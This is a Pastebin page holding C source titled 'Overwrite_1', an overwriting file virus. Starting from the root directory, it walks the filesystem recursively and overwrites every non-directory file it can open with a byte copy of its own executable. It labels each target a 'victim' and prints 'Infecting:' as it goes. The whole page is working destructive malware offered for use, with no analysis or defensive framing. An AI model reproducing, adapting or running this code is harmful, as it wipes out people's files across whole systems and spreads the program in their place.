Advertisement
bloodplanet

Overwrite_1

Mar 29th, 2016
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.28 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<sys/types.h>
  4. #include<string.h>
  5. #include<errno.h>
  6. //readdir is defined here
  7. #include <dirent.h>
  8. //limit.h defines path_max
  9. #include<limits.h>
  10.  
  11. int infectFile (char *virus, char *victim)
  12. {
  13.     //Pointer to our file and file
  14.     //needed to write
  15.     FILE *fpVirus, *fpVictim;
  16.  
  17.     //Open our file for reading
  18.     fpVirus =  fopen(virus,"rb");
  19.  
  20.     if (fpVirus==NULL)
  21.     {
  22.         perror("Open Virus file");
  23.         fclose(fpVirus);
  24.         return 0;
  25.     }
  26.  
  27.     //Open victim file for writing
  28.     fpVictim = fopen(victim,"wb");
  29.     if(fpVictim==NULL)
  30.     {
  31.         perror("Open Victim file");
  32.         fclose(fpVictim);
  33.         return 0;
  34.     }
  35.  
  36.     int c;
  37.     c = fgetc(fpVirus);//Read from file
  38.     while(c!=EOF)//read until end
  39.     {
  40.         fputc(c, fpVictim);//write to file
  41.         c = fgetc(fpVirus);//get next char
  42.     }
  43.  
  44.     //remember to close our streams
  45.     fclose(fpVirus);
  46.     fclose(fpVictim);
  47.  
  48.     return 0;
  49. }
  50. //List the file in dir_name
  51. static void list_dir(const char *dir_name,
  52.                      char *self)
  53. {    
  54.     DIR * d;    
  55.     d = opendir(dir_name);
  56.     //check it was opened
  57.     if(!d)
  58.     {
  59.         fprintf(stderr, "Cannot open directory '%s': %s\n",
  60.                 dir_name, strerror(errno));
  61.         exit(EXIT_FAILURE);
  62.     }
  63.     while(1)
  64.     {        
  65.         struct dirent * entry;
  66.         const char * d_name;
  67.  
  68.         //"Readdir" gets subsequent entries from "d".
  69.         char fileName[PATH_MAX];
  70.         int fileNameLength;
  71.  
  72.         entry = readdir(d);
  73.         if(!entry)
  74.         {
  75.             //there are no more entries in this
  76.             //directory, so break out of the
  77.             //while loop
  78.             break;
  79.         }
  80.         d_name = entry->d_name;
  81.  
  82.         fileNameLength = snprintf(fileName, PATH_MAX,
  83.                                    "%s/%s",dir_name,
  84.                                    d_name);
  85.  
  86.             //error checking to see if path is
  87.             //too large to fit
  88.         if (fileNameLength >= PATH_MAX)
  89.         {
  90.             fprintf(stderr,
  91.                     "File name length has got too long.\n");
  92.             exit(EXIT_FAILURE);
  93.         }
  94.             //If the entry is not a directory
  95.             //we'll attempt to infect it
  96.         if(entry->d_type != DT_DIR)
  97.         {
  98.             //we need to check to not
  99.             //infect our own file otherwise
  100.             //an error would occur
  101.             if (strstr(fileName,self+2)==NULL)
  102.             {
  103.                 printf("Infecting: %s\n",fileName);
  104.                 infectFile(self, fileName);
  105.  
  106.             }
  107.             list_dir(fileName,self);
  108.         }
  109.         //list_dir(path,self);
  110.             //Recursively call "list_dir" with the
  111.             //new path
  112.     }
  113.     //After going through all the entries, close
  114.     //the directory
  115.     //similar to closing the file stream with
  116.     //FILE * with error checking
  117.         if (closedir (d))
  118.         {
  119.             fprintf(stderr,
  120.                     "Could not close '%s': %s\n",
  121.                     dir_name, strerror(errno));
  122.             exit(EXIT_FAILURE);
  123.         }
  124. }
  125.  
  126. int main(int argc, char *argv[])
  127. {
  128.     //call a recursive function with
  129.     //the base directory
  130.     list_dir("/",argv[0]);
  131.     return 0;
  132. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement